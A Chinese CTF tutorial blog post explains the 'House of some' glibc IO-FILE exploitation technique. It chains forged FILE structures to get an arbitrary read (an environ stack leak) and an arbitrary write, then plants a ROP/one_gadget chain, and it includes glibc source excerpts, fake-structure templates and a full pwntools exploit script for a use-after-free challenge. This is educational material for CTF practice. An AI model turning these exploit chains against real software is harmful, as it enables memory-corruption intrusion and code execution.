House of some

前言:

  • 在22年,roderick01师傅发现了hosue of apple手法,宽字节跳表攻击几乎成为了每位pwn手的必备技能.house of apple2更是以简单的模板,极高的效率成为了传播范围,利用效率最高的IO攻击手法
  • 之所以house of apple2有效是因为glibc没有对wide_data结构体中的跳表指针进行范围的检查,但是我们通过_IO_wfile_overflow调用位于wide_data(0x68)处的任意函数指针(system,one_gadget,setcontext,swapcontext)实现getshell或orw
  • 总有一天,这个漏洞会被修复,好在在此前,Csome师傅发明了一种”新”的利用手法,避开了所有对跳表指针的合法检查

原理

1.任意地址读

这几乎是每位师傅开始学习IO利用时学的第一个手法,而且在各种比赛中也被用于leak libc,我们回顾一下这个手法

利用链

1
2
3
4
_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

IO结构体伪造

1
2
3
4
5
6
7
8
fake_file_write = flat({
    0x00: 0x1800, # _flags
    0x20: ptr1,#需要泄露的起始地址
    0x28: ptr2,#需要泄露的终止地址
    0x70: 1, # _fileno-->stdout
    0x68: chain   # _chain
    0xd8: _IO_file_jumps, # vtable
}, filler=b"\x00")

最经典的任意地址读

任意地址写

说实话我在学house of some前几乎没用过这个手法(

相信各位师傅对这个手法也不是很熟悉吧(bushi)

这里我们引入一个新的IO跳表指针:IO_new_file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;

  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)
    return EOF;

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn't
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);

      if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);

      _IO_release_lock (stdout);
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}

观察这个跳表我们可以发现

  • _flags设置为0即可（与apple2相同）
  • vtable设置为_IO_wfile_jumps地址，使得调用_IO_wfile_overflow即可
  • _wide_data->_IO_write_base设置为0，即满足*(_wide_data + 0x18) = 0（与apple2相同）
  • _wide_data->_IO_write_ptr设置为大于_wide_data->_IO_write_base，即满足*(_wide_data + 0x20) > *(_wide_data + 0x18)
  • _wide_data->_IO_buf_base设置为0，即满足*(_wide_data + 0x30) = 0（与apple2相同）
  • _wide_data->_wide_vtable设置为任意一个包含_IO_new_file_underflow，其中原生的vtable就有，设置成_IO_file_jumps-0x48即可
  • _vtable_offset设置为0
  • _IO_buf_base与_IO_buf_end设置为你需要写入的地址范围
  • _chain设置为你下一个触发的fake file地址
  • _IO_write_ptr <= _IO_write_base即可
  • _fileno设置为0，表示read(0, buf, size)
  • _mode设置为2，满足fp->_mode > 0即可

总的来说IO结构体伪造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fake_file_read = flat({
    0x00: 0, # _flags
    0x20: 0, # _IO_write_base
    0x28: 0, # _IO_write_ptr  
    0x38: 任意地址写的起始地址, # _IO_buf_base
    0x40: 任意地址写的终止地址, # _IO_buf_end
    0x68: 下一个调用的fake file地址, # _chain
    0x70: 0, # _fileno
    0x82: b"\x00", # _vtable_offset
    0xa0: wide_data的地址, # _wide_data
    0xc0: 2, # _mode
    0xd8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")

fake_wide_data = flat({
    0xe0: _IO_file_jumps - 0x48,
    0x18: 0,
    0x20: 1,
    0x30: 0,
}, filler=b"\x00")

最终会调用read(fp->_fileno,fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)

这三个参数我们都可以控制

综合利用

这两个功能单独拿出来确实不够看,但是放在一起就非常厉害了:任意地址读写!

在很多师傅心中,IO利用似乎只有一次,经过一次IO流冲刷后进程就该exit_了,貌似我们只能在任意读,写中选一个利用

但是别忘了chain_这个成员——angelboy提出的FSOP原来的样子,利用chain_把一个一个fake file串起来,通过多次的fake file调用_IO_OVERFLOW实现多个功能的调用

现在我们来看_IO_flush_all

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int _IO_flush_all (void)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      _IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}

在for循环中,沿着链表对每个结构体进行检查,冲刷

最终利用手法

那么此时我们的思路就很明确了

  • 我们使用创建一个write_chunk和read_chunk,实现任意地址读,将ptr设置为environ,读出stack地址,并使用read_chunk写入一个新的read_chunk,并将这两个已经写入的chunk和未写入的chunk使用chain_按照冲刷顺序连在一起
  • 创建的新read_chunk将栈地址设置为ptr,实现对read_syscall返回地址的覆盖
  • 此时三枚结构体冲刷完毕后栈上的ROP可以控制执行流

将两个普普通通的IO手法穿在一起,组成一个威力巨大的house of手法

例题

其实除了明确diff了宽字节跳表检查的题目,我们可以在任意版本的libc中使用这个手法

我随便找了道题,大家可以试试:附件分流

有个uaf,手法很多,主要是练习这个手法吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'
def ch(Id):
    io.sendlineafter(b"> ",str(Id).encode())
def add(Id,size):
    ch(1)
    io.sendlineafter(b"Index:",str(Id).encode())
    io.sendlineafter(b"what size :",str(size).encode())
def free(Id):
    ch(2)
    io.sendlineafter(b"Index:",str(Id).encode())
def show(Id):
    ch(3)
    io.sendlineafter(b"Index:",str(Id).encode())
def edit(Id,payload):
    ch(4)
    io.sendlineafter(b"Index:",str(Id).encode())
    io.sendlineafter(b"content: ",payload)
def bug():
    gdb.attach(io)
add(0,0x500)
add(1,0x20)
add(2,0x500)
add(3,0x20)
free(0)
show(0)
base=u64(io.recv(6).ljust(8,b'\x00'))-0x219ce0
free(2)
show(2)
heap=u64(io.recv(6).ljust(8,b'\x00'))-0x290
print(f"base=>{hex(base)}")
print(f"heap=>{hex(heap)}")
#------------------------------------------------------------------------
_IO_list_all=base+libc.sym._IO_list_all
system=base+libc.sym.system
_IO_file_jumps=base+libc.sym._IO_file_jumps
_IO_wfile_jumps=base+libc.sym._IO_wfile_jumps
#------------------------------------------------------------------------
wide=heap+0xd20
environ=base+libc.sym.environ
add(4,0x1000)
print(f"_IO_list_all=>{hex(_IO_list_all)}")
fake1=flat({
    0x00:p64(0x800 | 0x1000),
    0x20:p64(environ),
    0x28:p64(environ+8),
    0x68:p64(wide+0x100),
    0x70:p64(1),
    0xd8:p64(_IO_file_jumps)
    },filler=b'\x00')
fake2=flat({
    0x00:p64(0),
    0x20:p64(0),
    0x28:p64(0),
    0x38:p64(wide+0x400),
    0x40:p64(wide+0x700),
    0x68:p64(wide+0x400),
    0x70:p64(0),
    0xa0:p64(wide+0x200),
    0xc0:p64(2),
    0xd8:p64(_IO_wfile_jumps)
    },filler=b'\x00')
fake=fake1.ljust(0x100,b'\x00')+fake2
wfake=flat({
    0x20:p64(1),
    0xe0:p64(_IO_file_jumps-0x48)
    },filler=b'\x00')
edit(4,fake.ljust(0x200,b'\x00')+wfake+b'\x00'*0x20)
free(3)
free(1)
key=heap>>12
edit(1,p64(key^_IO_list_all))
add(8,0x20)
add(9,0x20)
edit(9,p64(wide))
#bug()
ch(5)
stack=u64(io.recv(8))
print(f"stack=>{hex(stack)}")
fake2=flat({
    0x38:p64(stack-0x360),
    0x40:p64(stack-0x260),
    0x70:p64(0),
    0xa0:p64(wide+0x400+0x100),
    0xc0:p64(2),
    0xd8:p64(_IO_wfile_jumps)
    },filler=b'\x00')
wfake=flat({
    0x20:p64(1),
    0xe0:p64(_IO_file_jumps-0x48)
    },filler=b'\x00')
payload=fake2.ljust(0x100,b'\x00')+wfake
io.send(payload)
pause()
rsi=base+0x000000000002be51
rdx=base+0x00000000000796a2
rbp=base+0x000000000002a2e0
one=base+0xebc88
io.send(p64(rbp)+p64(heap+0x100)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(one))
io.interactive()

感谢Csome师傅,真是个漂亮到极点的手法啊

参考:house of some